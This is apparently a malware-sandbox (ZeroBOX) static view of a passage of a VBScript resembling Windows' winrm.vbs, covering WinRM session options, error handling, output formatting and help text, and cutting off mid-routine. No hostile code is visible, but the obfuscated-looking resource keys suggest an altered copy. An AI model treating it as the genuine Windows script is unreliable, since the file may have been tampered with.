Static | ZeroBOX

private function CreateSession(wsman, conStr, optDic, formatOption)

dim sessionFlags

dim conOpt

dim session

dim authVal

dim encodingVal

dim encryptVal

dim pw

dim tout

' proxy information

dim proxyAccessType

dim proxyAccessTypeVal

dim proxyAuthenticationMechanism

dim proxyAuthenticationMechanismVal

dim proxyUsername

dim proxyPassword

sessionFlags = 0

proxyAccessType = 0

proxyAccessTypeVal = 0

proxyAuthenticationMechanism = 0

proxyAuthenticationMechanismVal = 0

proxyUsername = ""

proxyPassword = ""

set conOpt = Nothing

if optDic.ArgumentExists(NPARA_ENCODING) then

ASSERTNAL(NPARA_ENCODING)

ASSERTBOOL optDic.ArgumentExists(NPARA_REMOTE), "The '-encoding' option is only valid when used with the '-remote' option"

encodingVal = optDic.Argument(NPARA_ENCODING)

if LCase(encodingVal) = "utf-16" then

sessionFlags = sessionFlags OR wsman.SessionFlagUTF16

elseif LCase(encodingVal) = "utf-8" then

sessionFlags = sessionFlags OR wsman.SessionFlagUTF8

else

' Invalid!

ASSERTBOOL false, "The specified encoding flag is invalid."

end if

if optDic.ArgumentExists(NPARA_UNENCRYPTED) then

ASSERTBOOL optDic.ArgumentExists(NPARA_REMOTE), "The '-" & NPARA_UNENCRYPTED & "' option is only valid when used with the '-remote' option"

'C API will ensure that unencrypted is only used w/ http

sessionFlags = sessionFlags OR wsman.SessionFlagNoEncryption

end if

if optDic.ArgumentExists(NPARA_USESSL) then

ASSERTBOOL optDic.ArgumentExists(NPARA_REMOTE), "The '-" & NPARA_USESSL & "' option is only valid when used with the '-remote' option"

sessionFlags = sessionFlags OR wsman.SessionFlagUseSsl

end if

if optDic.ArgumentExists(NPARA_AUTH) then

ASSERTNAL(NPARA_AUTH)

authVal = optDic.Argument(NPARA_AUTH)

select case LCase(authVal)

case VAL_NO_AUTH

sessionFlags = sessionFlags OR wsman.SessionFlagUseNoAuthentication

ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:none'"

ASSERTBOOL not optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option is not valid for '-auth:none'"

ASSERTBOOL not optDic.ArgumentExists(NPARA_PASSWORD), "The '-" & NPARA_PASSWORD & "' option is only valid for '-auth:none'"

case VAL_BASIC

'Use -username and -password.

ASSERTBOOL optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option must be specified for '-auth:basic'"

ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:basic'"

sessionFlags = sessionFlags OR wsman.SessionFlagCredUsernamePassword OR wsman.SessionFlagUseBasic

case VAL_DIGEST

'Use -username and -password.

ASSERTBOOL optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option must be specified for '-auth:digest'"

ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:digest'"

sessionFlags = sessionFlags OR wsman.SessionFlagCredUsernamePassword OR wsman.SessionFlagUseDigest

case VAL_KERBEROS

'-username and -password are optional.

ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:kerberos'"

sessionFlags = sessionFlags OR wsman.SessionFlagUseKerberos

case VAL_NEGOTIATE

'-username and -password are optional.

ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:negotiate'"

sessionFlags = sessionFlags OR wsman.SessionFlagUseNegotiate

case VAL_CERT

'-certificate is mandatory.

ASSERTBOOL optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option must be specified for '-auth:certificate'"

'-username or -password must not be used

ASSERTBOOL not optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option is not valid for '-auth:certificate'"

ASSERTBOOL not optDic.ArgumentExists(NPARA_PASSWORD), "The '-" & NPARA_PASSWORD & "' option is not valid for '-auth:certificate'"

sessionFlags = sessionFlags OR wsman.SessionFlagUseClientCertificate

case VAL_CREDSSP

'Use -username and -password.

ASSERTBOOL osVersion >= osVista, "The specified '-" & NPARA_AUTH & "' flag '" & authVal & "' has an invalid value."

ASSERTBOOL optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option must be specified for '-auth:credssp'"

ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:credssp'"

sessionFlags = sessionFlags OR wsman.SessionFlagCredUsernamePassword OR wsman.SessionFlagUseCredSSP

case else

ASSERTBOOL false, "The specified '-" & NPARA_AUTH & "' flag '" & authVal & "' has an invalid value."

end select

end if

if optDic.ArgumentExists(NPARA_USERNAME) then

ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option cannot be used together with '-username'"

set conOpt = wsman.CreateConnectionOptions

conOpt.UserName = optDic.Argument(NPARA_USERNAME)

if optDic.ArgumentExists(NPARA_PASSWORD) then

conOpt.Password = optDic.Argument(NPARA_PASSWORD)

end if

sessionFlags = sessionFlags OR wsman.SessionFlagCredUsernamePassword

end if

if optDic.ArgumentExists(NPARA_DEFAULTCREDS) then

ASSERTBOOL not optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option cannot be used together with '-defaultCreds'"

ASSERTBOOL not optDic.ArgumentExists(NPARA_PASSWORD), "The '-" & NPARA_PASSWORD & "' option cannot be used together with '-defaultCreds'"

'this is only valid if -auth:Negotiate is specified

ASSERTBOOL (LCase(optDic.Argument(NPARA_AUTH)) = VAL_NEGOTIATE), "The " & NPARA_DEFAULTCREDS & " option is only valid when the authentication mechanism is " & VAL_NEGOTIATE

'C API will ensure this is only used w/ https

sessionFlags = sessionFlags OR wsman.SessionFlagAllowNegotiateImplicitCredentials

end if

if optDic.ArgumentExists(NPARA_CERT) then

ASSERTBOOL not optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option cannot be used together with '-certificate'"

ASSERTBOOL not optDic.ArgumentExists(NPARA_PASSWORD), "The '-" & NPARA_PASSWORD & "' option cannot be used together with '-certificate'"

set conOpt = wsman.CreateConnectionOptions

conOpt.CertificateThumbprint = optDic.Argument(NPARA_CERT)

if optDic.ArgumentExists(NPARA_AUTH) then

ASSERTBOOL (LCase(optDic.Argument(NPARA_AUTH)) = VAL_CERT), "The " & NPARA_CERT & " option is only valid when the authentication mechanism is " & VAL_CERT

end if

'-auth might be missing, in which case we assume -a:Certificate

sessionFlags = sessionFlags OR wsman.SessionFlagUseClientCertificate

end if

if optDic.ArgumentExists(NPARA_PROXYACCESS) then

ASSERTNAL(NPARA_PROXYACCESS)

if conOpt Is Nothing then

set conOpt = wsman.CreateConnectionOptions

end if

proxyAccessTypeVal = optDic.Argument(NPARA_PROXYACCESS)

select case LCase(proxyAccessTypeVal)

case VAL_PROXY_IE_CONFIG

proxyAccessType = conOpt.ProxyIEConfig

case VAL_PROXY_WINHTTP_CONFIG

proxyAccessType = conOpt.ProxyWinHttpConfig

case VAL_PROXY_AUTODETECT

proxyAccessType = conOpt.ProxyAutoDetect

case VAL_PROXY_NO_PROXY_SERVER

proxyAccessType = conOpt.ProxyNoProxyServer

case else

ASSERTBOOL false, "The specified '-" & NPARA_PROXYACCESS & "' field '" & proxyAccessTypeVal & "' has an invalid value."

end select

end if

if optDic.ArgumentExists(NPARA_PROXYAUTH) then

ASSERTNAL(NPARA_PROXYAUTH)

ASSERTBOOL optDic.ArgumentExists(NPARA_PROXYACCESS), "The '-" & NPARA_PROXYAUTH & "' option is only valid when used with the '-" & NPARA_PROXYACCESS & "' option"

if conOpt Is Nothing then

set conOpt = wsman.CreateConnectionOptions

end if

proxyAuthenticationMechanismVal = optDic.Argument(NPARA_PROXYAUTH)

select case LCase(proxyAuthenticationMechanismVal)

case VAL_BASIC

proxyAuthenticationMechanism = conOpt.ProxyAuthenticationUseBasic

case VAL_DIGEST

proxyAuthenticationMechanism = conOpt.ProxyAuthenticationUseDigest

case VAL_NEGOTIATE

proxyAuthenticationMechanism = conOpt.ProxyAuthenticationUseNegotiate

case else

ASSERTBOOL false, "The specified '-" & NPARA_PROXYAUTH & "' flag '" & proxyAuthenticationMechanismVal & "' has an invalid value."

end select

end if

if optDic.ArgumentExists(NPARA_PROXYUSERNAME) then

ASSERTBOOL optDic.ArgumentExists(NPARA_PROXYAUTH), "The '-" & NPARA_PROXYUSERNAME & "' option is only valid when used with the '-" & NPARA_PROXYAUTH & "' option"

proxyUsername = optDic.Argument(NPARA_PROXYUSERNAME)

end if

if optDic.ArgumentExists(NPARA_PROXYPASSWORD) then

ASSERTBOOL optDic.ArgumentExists(NPARA_PROXYUSERNAME), "The '-" & NPARA_PROXYPASSWORD & "' option is only valid when used with the '-" & NPARA_PROXYUSERNAME & "' option"

proxyPassword = optDic.Argument(NPARA_PROXYPASSWORD)

end if

if optDic.ArgumentExists(NPARA_PROXYACCESS) then

on error resume next

responseStr = conOpt.SetProxy(proxyAccessType, proxyAuthenticationMechanism, proxyUsername, proxyPassword)

ASSERTERR conOpt, formatOption

on error goto 0

end if

if optDic.ArgumentExists(NPARA_NOCACHK) then

'C API will ensure this is only used w/ https

sessionFlags = sessionFlags OR wsman.SessionFlagSkipCACheck

end if

if optDic.ArgumentExists(NPARA_NOCNCHK) then

'C API will ensure this is only used w/ https

sessionFlags = sessionFlags OR wsman.SessionFlagSkipCNCheck

end if

if optDic.ArgumentExists(NPARA_NOREVCHK) then

'C API will ensure this is only used w/ https

sessionFlags = sessionFlags OR wsman.SessionFlagSkipRevocationCheck

end if

if optDic.ArgumentExists(NPARA_SPNPORT) then

'this is only valid if -auth is not specified or if -auth:Negotiate or -auth:Kerberos is specified

if optDic.ArgumentExists(NPARA_AUTH) then

ASSERTBOOL (LCase(optDic.Argument(NPARA_AUTH)) = VAL_NEGOTIATE OR LCase(optDic.Argument(NPARA_AUTH)) = VAL_KERBEROS), "The " & NPARA_SPNPORT & " option is only valid when the authentication mechanism is " & VAL_NEGOTIATE & " or " & VAL_KERBEROS

end if

sessionFlags = sessionFlags OR wsman.SessionFlagEnableSPNServerPort

end if

on error resume next

set session = wsman.CreateSession(conStr, sessionFlags, conOpt)

ASSERTERR wsman, formatOption

on error goto 0

if optDic.ArgumentExists(NPARA_TIMEOUT) then

ASSERTNAL(NPARA_TIMEOUT)

tout = optDic.Argument(NPARA_TIMEOUT)

ASSERTBOOL IsNumeric(tout), "Numeric value for -timeout option is expected"

session.Timeout = optDic.Argument(NPARA_TIMEOUT)

end if

set CreateSession = session

end function

private sub ASSERTERR(obj, formatOption)

dim errNo

dim errDesc

dim responseStr

dim formattedStr

if Err.Number <> 0 then

errNo = Err.Number

errDesc = Err.Description

responseStr = obj.Error

If Reformat(responseStr,formattedStr,formatOption) Then

stdErr.WriteLine formattedStr

Else

stdErr.WriteLine responseStr

End if

stdErr.WriteLine GetResource("AORRFPSUFWMTAMGRYKYM") & " " & errNo & " 0x" & Hex(errNo)

stdErr.WriteLine errDesc

WScript.Quit(ERR_GENERAL_FAILURE)

end if

end sub

' Assert Named Argument Length

private sub ASSERTNAL(namedArg)

if Len(wsmanCmdLineObj.Argument(namedArg)) = 0 then

stdErr.WriteLine GetResource("AVWUGUNFYWVFACHFITGP") & GetResource("TOPWOIAFMXQNZCGVPBPO") & namedArg

WScript.Quit(ERR_GENERAL_FAILURE)

end if

end sub

private sub ASSERTBOOL(bool, msg)

if Not bool then

stdErr.WriteLine GetResource("AVWUGUNFYWVFACHFITGP") & msg

WScript.Quit(ERR_GENERAL_FAILURE)

end if

end sub

private function ReFormat(rawStr,formattedStr,formatOption)

dim xslFile

dim xmlFile

dim xmlFileName

dim xslFileName

dim FORMAT_XSL_PATH

if Len(rawStr) = 0 then

ReFormat = false

exit function

end if

on error resume next

err.clear

if LCase(formatOption) = VAL_FORMAT_XML then

formattedStr = rawStr

else

set xmlFile = CreateObject("MSXML2.DOMDOCUMENT.6.0")

if Err.number <> 0 then

stdErr.WriteLine GetResource("NOANROQJQDCOTVFYNWJD")

on error goto 0

ReFormat = false

exit function

end if

set xslFile = CreateObject("MSXML2.DOMDOCUMENT.6.0")

if Err.number <> 0 then

stdErr.WriteLine GetResource("NOANROQJQDCOTVFYNWJD")

on error goto 0

ReFormat = false

exit function

end if

xmlFile.async = false

xslFile.async = false

xmlFile.LoadXML(rawStr)

if (xmlFile.parseError.errorCode <> 0) then

stdErr.WriteLine GetResource("AXOYOUZAYIPAHOPMZYNZ") & xmlFile.parseError.reason

on error goto 0

ReFormat = false

exit function

end If

FORMAT_XSL_PATH = WSHShell.ExpandEnvironmentStrings("%systemroot%\system32\")

if InStr(LCase(WScript.Path),"\syswow64") > 0 then

FORMAT_XSL_PATH = WSHShell.ExpandEnvironmentStrings("%systemroot%\syswow64\")

end if

if LCase(formatOption) = VAL_FORMAT_TEXT then

FORMAT_XSL_PATH = FORMAT_XSL_PATH & VAL_FORMAT_TEXT_XSLT

elseif LCase(formatOption) = VAL_FORMAT_PRETTY then

FORMAT_XSL_PATH = FORMAT_XSL_PATH & VAL_FORMAT_PRETTY_XSLT

else

stdErr.WriteLine GetResource("OGBICVYKCXZZCRDPXAWF") & formatOption

stdErr.WriteLine

on error goto 0

ReFormat = false

exit function

end If

if Not xslFile.load(FORMAT_XSL_PATH) then

stdErr.WriteLine GetResource("FRQKRKWNJBORFSRBXANA") & FORMAT_XSL_PATH

if xslFile.parseError.errorCode < 0 then

stdErr.WriteLine xslFile.parseError.reason

end if

on error goto 0

ReFormat = false

exit function

end if

formattedStr = xmlFile.transformNode (xslFile)

if Err.number <> 0 then

stdErr.WriteLine Err.Description

on error goto 0

ReFormat = false

exit function

end if

ReFormat = true

end function

Private Sub HelpMenu(topic, stream)

Dim helpMenu

Set helpMenu = CreateObject("Scripting.Dictionary")

helpMenu.Add OP_HELP, "HelpHelp"

helpMenu.Add OP_GET, "HelpGet"

helpMenu.Add OP_PUT, "HelpSet"

helpMenu.Add OP_CONFIGSDDL, "HelpConfigSDDL"

helpMenu.Add OP_CRE, "HelpCreate"

helpMenu.Add OP_DEL, "HelpDelete"

helpMenu.Add OP_ENU, "HelpEnum"

helpMenu.Add OP_INV, "HelpInvoke"

helpMenu.Add OP_QUICKCONFIG, "HelpQuickConfig"

helpMenu.Add OP_IDENTIFY, "HelpIdentify"

helpMenu.Add OP_HELPMSG, "HelpMsg"

helpMenu.Add NPARA_USERNAME, "HelpAuth"

helpMenu.Add NPARA_PASSWORD, "HelpAuth"

helpMenu.Add NPARA_PROXYAUTH, "HelpProxy"

helpMenu.Add NPARA_PROXYACCESS, "HelpProxy"

helpMenu.Add NPARA_PROXYUSERNAME, "HelpProxy"

helpMenu.Add NPARA_PROXYPASSWORD, "HelpProxy"

helpMenu.Add NPARA_DIALECT, "HelpSwitches"

helpMenu.Add NPARA_FILE, "HelpInput"

helpMenu.Add NPARA_FILTER, "HelpSwitches"

helpMenu.Add NPARA_REMOTE, "HelpRemote"

helpMenu.Add NPARA_NOCACHK, "HelpSwitches"

helpMenu.Add NPARA_NOCNCHK, "HelpSwitches"

helpMenu.Add NPARA_NOREVCHK, "HelpSwitches"

helpMenu.Add NPARA_DEFAULTCREDS, "HelpSwitches"

helpMenu.Add NPARA_SPNPORT, "HelpSwitches"

helpMenu.Add NPARA_TIMEOUT, "HelpSwitches"

helpMenu.Add NPARA_AUTH, "HelpAuth"

helpMenu.Add NPARA_UNENCRYPTED, "HelpRemote"

helpMenu.Add NPARA_USESSL, "HelpRemote"

helpMenu.Add NPARA_ENCODING, "HelpSwitches"

helpMenu.Add NPARA_FORMAT, "HelpSwitches"

helpMenu.Add NPARA_OPTIONS, "HelpSwitches"

helpMenu.Add NPARA_FRAGMENT, "HelpSwitches"

helpMenu.Add "@{}", "HelpInput"

helpMenu.Add HELP_CONFIG, "HelpConfig"

helpMenu.Add HELP_CertMapping, "HelpCertMapping"

helpMenu.Add HELP_URIS, "HelpUris"

helpMenu.Add HELP_ALIAS, "HelpAlias"

helpMenu.Add HELP_ALIASES, "HelpAlias"

helpMenu.Add HELP_FILTERS, "HelpFilters"

helpMenu.Add HELP_SWITCHES, "HelpSwitches"

helpMenu.Add HELP_REMOTING, "HelpRemote"

helpMenu.Add HELP_INPUT, "HelpInput"

helpMenu.Add HELP_AUTH, "HelpAuth"

helpMenu.Add HELP_PROXY, "HelpProxy"

Dim helpFctn

topic = LCase(topic)

If helpMenu.Exists(topic) Then

helpFctn = helpMenu(topic)

Else

helpFctn = "HelpHelp"

End If

stream.WriteLine GetResource("L_Help_Title_0_Message") & vbNewLine

If topic <> "all" Then

Dim cmd

cmd = "Call " & helpFctn & "(stream)"

Execute(cmd)

Else

HelpAll(stream)

End If

End Sub

Private Sub HelpTopic(stream, label)

dim NL

NL = vbNewLine

Dim seperator

seperator = vbNewLine & "-------------------------------------------------------------------------------"

stream.WriteLine seperator & NL & "TOPIC: " & label & NL

End Sub

Private Sub HelpAll(stream)

Dim seperator

seperator = vbNewLine & "-------------------------------------------------------------------------------"

dim NL

NL = vbNewLine

HelpTopic stream, "winrm -?"

HelpHelp stream

HelpTopic stream, "winrm get -?"

HelpGet stream

HelpTopic stream, "winrm set -?"

HelpSet stream

HelpTopic stream, "winrm create -?"

HelpCreate stream

HelpTopic stream, "winrm delete -?"

HelpDelete stream

HelpTopic stream, "winrm enumerate -?"

HelpEnum stream

HelpTopic stream, "winrm invoke -?"

HelpInvoke stream

HelpTopic stream, "winrm identify -?"

HelpIdentify stream

HelpTopic stream, "winrm quickconfig -?"

HelpQuickConfig stream

HelpTopic stream, "winrm helpmsg -?"

HelpMsg stream

HelpTopic stream, "winrm help uris"

HelpUris stream

HelpTopic stream, "winrm help alias"

HelpAlias stream

HelpTopic stream, "winrm help config"

HelpConfig stream

HelpTopic stream, "winrm help configsddl"

HelpConfigsddl stream

HelpTopic stream, "winrm help certmapping"

HelpCertMapping stream

HelpTopic stream, "winrm help remoting"

HelpRemote stream

HelpTopic stream, "winrm help auth"

HelpAuth stream

HelpTopic stream, "winrm help proxy"

HelpProxy stream

HelpTopic stream, "winrm help input"

HelpInput stream

HelpTopic stream, "winrm help filters"

HelpFilters stream

HelpTopic stream, "winrm help switches"

HelpSwitches stream

End Sub

''''''''''''''''''''''''''''''''''''''''''''

' HELP - HELP

Private Sub HelpHelp(stream)

dim NL

NL = vbNewLine

stream.WriteLine _

GetResource("L_HelpHelp_000_0_Message") & NL & _

GetResource("L_HelpHelp_001_0_Message") & NL & _

GetResource("L_HelpHelp_001_1_Message") & NL & _

GetResource("L_HelpHelp_002_0_Message") & NL & _

GetResource("L_HelpHelp_003_0_Message") & NL & _

GetResource("L_HelpHelp_004_0_Message") & NL & _

GetResource("L_HelpHelp_005_0_Message") & NL & _

GetResource("L_HelpHelp_007_0_Message") & NL & _

GetResource("L_HelpHelp_008_0_Message") & NL & _

GetResource("L_HelpHelp_009_0_Message") & NL & _

GetResource("L_HelpHelp_010_0_Message") & NL & _

GetResource("L_HelpHelp_011_0_Message") & NL & _

GetResource("L_HelpHelp_012_0_Message") & NL & _

GetResource("L_HelpHelp_013_0_Message") & NL & _

GetResource("L_HelpHelp_014_0_Message") & NL & _

GetResource("L_HelpHelp_015_0_Message") & NL & _

GetResource("L_HelpHelp_015_1_Message") & NL & _

GetResource("L_HelpHelp_016_0_Message") & NL & _

GetResource("L_HelpHelp_016_1_Message") & NL & _

GetResource("L_HelpHelp_016_3_Message") & NL & _

GetResource("L_HelpHelp_016_4_Message") & NL & _

GetResource("L_HelpHelp_017_0_Message") & NL & _

GetResource("L_HelpHelp_018_0_Message") & NL & _

GetResource("L_HelpHelp_019_0_Message") & NL & _

GetResource("L_HelpHelp_020_0_Message") & NL & _

GetResource("L_HelpHelp_021_0_Message") & NL & _

GetResource("L_HelpHelp_021_2_Message") & NL & _

GetResource("L_HelpHelp_022_0_Message") & NL & _

GetResource("L_HelpHelp_023_0_Message") & NL & _

GetResource("L_HelpHelp_024_0_Message") & NL & _

GetResource("L_HelpHelp_025_0_Message") & NL & _

GetResource("L_HelpHelp_026_0_Message")

End Sub

'''''''''''''''''''''

' HELP - GET

Private Sub HelpGet(stream)

dim NL

NL = vbNewLine

stream.WriteLine _

GetResource("L_HelpGet_000_0_Message") & NL & _

GetResource("L_HelpGet_001_0_Message") & NL & _

GetResource("L_HelpGet_002_0_Message") & NL & _

GetResource("L_HelpGet_003_0_Message") & NL & _

GetResource("L_HelpGet_004_0_Message") & NL & _

GetResource("L_HelpGet_005_0_Message") & NL & _

GetResource("X_HelpGet_006_0_Message") & NL & _

GetResource("L_HelpGet_007_0_Message") & NL & _

GetResource("L_HelpGet_008_0_Message") & NL & _

GetResource("X_HelpGet_009_0_Message") & NL & _

GetResource("L_HelpGet_010_0_Message") & NL & _

GetResource("L_HelpGet_014_0_Message") & NL & _

GetResource("X_HelpGet_015_0_Message") & NL & _

GetResource("L_HelpGet_016_0_Message") & NL & _

GetResource("L_Help_Blank_0_Message") & NL & _

GetResource("L_Help_SeeAlso_Title_Message") & NL & _

GetResource("X_Help_SeeAlso_Uris_Message") & NL & _

GetResource("X_Help_SeeAlso_Aliases_Message") & NL & _

GetResource("X_Help_SeeAlso_Switches_Message")

End Sub

'''''''''''''''''''''

' HELP - CONFIGSDDL

Private Sub HelpConfigsddl(stream)

dim NL

NL = vbNewLine

stream.WriteLine _

GetResource("L_HelpConfigsddl_000_1_Message") & NL & _

GetResource("L_HelpConfigsddl_001_0_Message") & NL & _

GetResource("L_HelpConfigsddl_002_0_Message") & NL & _

GetResource("L_HelpConfigsddl_002_1_Message") & NL & _

GetResource("L_HelpConfigsddl_003_0_Message") & NL & _

GetResource("L_HelpConfigsddl_004_0_Message") & NL & _

GetResource("L_HelpConfigsddl_005_0_Message") & NL & _

GetResource("L_HelpConfigsddl_005_1_Message") & NL & _

GetResource("L_HelpConfigsddl_006_0_Message") & NL & _

GetResource("L_HelpConfigsddl_010_0_Message") & NL & _

GetResource("L_HelpConfigsddl_011_0_Message") & NL & _

GetResource("X_HelpConfigsddl_012_0_Message") & NL & _

GetResource("L_Help_Blank_0_Message") & NL & _

GetResource("L_Help_SeeAlso_Title_Message") & NL & _

GetResource("X_Help_SeeAlso_Switches_Message")

End Sub

'''''''''''''''''''''

' HELP - SET

Private Sub HelpSet(stream)

dim NL

NL = vbNewLine

stream.WriteLine _

GetResource("L_HelpSet_001_0_Message") & NL & _

GetResource("L_HelpSet_002_0_Message") & NL & _

GetResource("L_HelpSet_003_0_Message") & NL & _

GetResource("L_HelpSet_004_0_Message") & NL & _

GetResource("L_HelpSet_005_0_Message") & NL & _

GetResource("L_HelpSet_006_0_Message") & NL & _

GetResource("L_HelpSet_007_0_Message") & NL & _

GetResource("L_HelpSet_008_0_Message") & NL & _

GetResource("L_HelpSet_009_0_Message") & NL & _

GetResource("X_HelpSet_010_0_Message") & NL & _

GetResource("L_HelpSet_011_0_Message") & NL & _

GetResource("L_HelpSet_012_0_Message") & NL & _

GetResource("X_HelpSet_013_0_Message") & NL & _

GetResource("L_HelpSet_014_0_Message") & NL & _

GetResource("L_HelpSet_018_0_Message") & NL & _

GetResource("X_HelpSet_019_0_Message") & NL & _

GetResource("L_HelpSet_020_0_Message") & NL & _

GetResource("L_Help_Blank_0_Message") & NL & _

GetResource("L_Help_SeeAlso_Title_Message") & NL & _

GetResource("X_Help_SeeAlso_Uris_Message") & NL & _

GetResource("X_Help_SeeAlso_Aliases_Message") & NL & _

GetResource("X_Help_SeeAlso_Input_Message") & NL & _

GetResource("X_Help_SeeAlso_Switches_Message")

End Sub

'''''''''''''''''''''

' HELP - CREATE

Private Sub HelpCreate(stream)

dim NL

NL = vbNewLine

stream.WriteLine _

GetResource("L_HelpCreate_001_0_Message") & NL & _

GetResource("L_HelpCreate_002_0_Message") & NL & _

GetResource("L_HelpCreate_003_0_Message") & NL & _

GetResource("L_HelpCreate_004_0_Message") & NL & _

GetResource("L_HelpCreate_005_0_Message") & NL & _

GetResource("L_HelpCreate_006_0_Message") & NL & _

GetResource("L_HelpCreate_007_0_Message") & NL & _

GetResource("L_HelpCreate_008_0_Message") & NL & _

GetResource("X_HelpCreate_009_0_Message") & NL & _

GetResource("L_HelpCreate_010_0_Message") & NL & _

GetResource("L_HelpCreate_011_0_Message") & NL & _

GetResource("X_HelpCreate_012_0_Message") & NL & _

GetResource("L_HelpCreate_013_0_Message") & NL & _

GetResource("L_HelpCreate_014_0_Message") & NL & _

GetResource("L_HelpCreate_015_0_Message") & NL & _

GetResource("X_HelpCreate_016_0_Message") & NL & _

GetResource("L_HelpCreate_017_0_Message") & NL & _

GetResource("L_HelpCreate_022_0_Message") & NL & _

GetResource("X_HelpCreate_023_0_Message") & NL & _

GetResource("L_HelpCreate_024_0_Message") & NL & _

GetResource("L_Help_Blank_0_Message") & NL & _

GetResource("L_Help_SeeAlso_Title_Message") & NL & _

GetResource("X_Help_SeeAlso_Uris_Message") & NL & _

GetResource("X_Help_SeeAlso_Aliases_Message") & NL & _

GetResource("X_Help_SeeAlso_Input_Message") & NL & _

GetResource("X_Help_SeeAlso_Switches_Message")

End Sub

'''''''''''''''''''''

' HELP - DELETE

Private Sub HelpDelete(stream)

dim NL

NL = vbNewLine

stream.WriteLine _

GetResource("L_HelpDelete_001_0_Message") & NL & _

GetResource("L_HelpDelete_002_0_Message") & NL & _

GetResource("L_HelpDelete_003_0_Message") & NL & _

GetResource("L_HelpDelete_004_0_Message") & NL & _

GetResource("L_HelpDelete_005_0_Message") & NL & _

GetResource("X_HelpDelete_006_0_Message") & NL & _

GetResource("L_HelpDelete_007_0_Message") & NL & _

GetResource("L_HelpDelete_008_0_Message") & NL & _

GetResource("X_HelpDelete_009_0_Message") & NL & _

GetResource("L_HelpDelete_010_0_Message") & NL & _

GetResource("L_Help_Blank_0_Message") & NL & _

GetResource("L_Help_SeeAlso_Title_Message") & NL & _

GetResource("X_Help_SeeAlso_Uris_Message") & NL & _

GetResource("X_Help_SeeAlso_Aliases_Message") & NL & _

GetResource("X_Help_SeeAlso_Switches_Message")

End Sub

'''''''''''''''''''''

' HELP - ENUMERATE

Private Sub HelpEnum(stream)

dim NL

NL = vbNewLine

stream.WriteLine _

GetResource("L_HelpEnum_001_0_Message") & NL & _

GetResource("L_HelpEnum_001_1_Message") & NL & _

GetResource("L_HelpEnum_002_0_Message") & NL & _

GetResource("L_HelpEnum_003_0_Message") & NL & _

GetResource("L_HelpEnum_004_0_Message") & NL & _

GetResource("L_HelpEnum_005_0_Message") & NL & _

GetResource("L_HelpEnum_006_0_Message") & NL & _

GetResource("L_HelpEnum_006_1_Message") & NL & _

GetResource("L_HelpEnum_006_2_Message") & NL & _

GetResource("L_HelpEnum_006_3_Message") & NL & _

GetResource("L_HelpEnum_006_4_Message") & NL & _

GetResource("L_HelpEnum_006_5_Message") & NL & _

GetResource("L_HelpEnum_006_6_Message") & NL & _

GetResource("L_HelpEnum_006_7_Message") & NL & _

GetResource("L_HelpEnum_006_8_Message") & NL & _

GetResource("L_HelpEnum_006_9_Message") & NL & _

GetResource("L_HelpEnum_006_10_Message") & NL & _

GetResource("L_HelpEnum_006_11_Message") & NL & _

GetResource("L_HelpEnum_006_12_Message") & NL & _

GetResource("L_HelpEnum_006_13_Message") & NL & _

GetResource("L_HelpEnum_006_14_Message") & NL & _

GetResource("L_HelpEnum_006_15_Message") & NL & _

GetResource("L_HelpEnum_006_16_Message") & NL & _

GetResource("L_HelpEnum_006_17_Message") & NL & _

GetResource("L_HelpEnum_006_18_Message") & NL & _

GetResource("L_HelpEnum_006_19_Message") & NL & _

GetResource("L_HelpEnum_006_20_Message") & NL & _

GetResource("L_HelpEnum_006_21_Message") & NL & _

GetResource("L_HelpEnum_006_22_Message") & NL & _

GetResource("L_HelpEnum_006_23_Message") & NL & _

GetResource("L_HelpEnum_007_0_Message") & NL & _

GetResource("X_HelpEnum_008_0_Message") & NL & _

GetResource("L_HelpEnum_009_0_Message") & NL & _

GetResource("L_HelpEnum_010_0_Message") & NL & _

GetResource("X_HelpEnum_011_0_Message") & NL & _

GetResource("L_HelpEnum_012_0_Message") & NL & _

GetResource("L_HelpEnum_016_0_Message") & NL & _

GetResource("X_HelpEnum_017_0_Message") & NL & _

GetResource("L_HelpEnum_018_0_Message") & NL & _

GetResource("L_HelpEnum_019_0_Message") & NL & _

GetResource("X_HelpEnum_020_0_Message") & NL & _

GetResource("L_HelpEnum_021_0_Message") & NL & _

GetResource("L_HelpEnum_022_0_Message") & NL & _

GetResource("X_HelpEnum_023_0_Message") & NL & _

GetResource("L_HelpEnum_024_0_Message") & NL & _

GetResource("L_Help_Blank_0_Message") & NL & _

GetResource("L_Help_SeeAlso_Title_Message") & NL & _

GetResource("X_Help_SeeAlso_Uris_Message") & NL & _

GetResource("X_Help_SeeAlso_Aliases_Message") & NL & _

GetResource("X_Help_SeeAlso_Filters_Message") & NL & _

GetResource("X_Help_SeeAlso_Switches_Message")

End Sub

'''''''''''''''''''''

' HELP - INVOKE

Private Sub HelpInvoke(stream)

dim NL

NL = vbNewLine

stream.WriteLine _

GetResource("L_HelpInvoke_001_0_Message") & NL & _

GetResource("L_HelpInvoke_002_0_Message") & NL & _

GetResource("L_HelpInvoke_003_0_Message") & NL & _

GetResource("L_HelpInvoke_004_0_Message") & NL & _

GetResource("L_HelpInvoke_005_0_Message") & NL & _

GetResource("L_HelpInvoke_006_0_Message") & NL & _

GetResource("L_HelpInvoke_007_0_Message") & NL & _

GetResource("L_HelpInvoke_008_0_Message") & NL & _

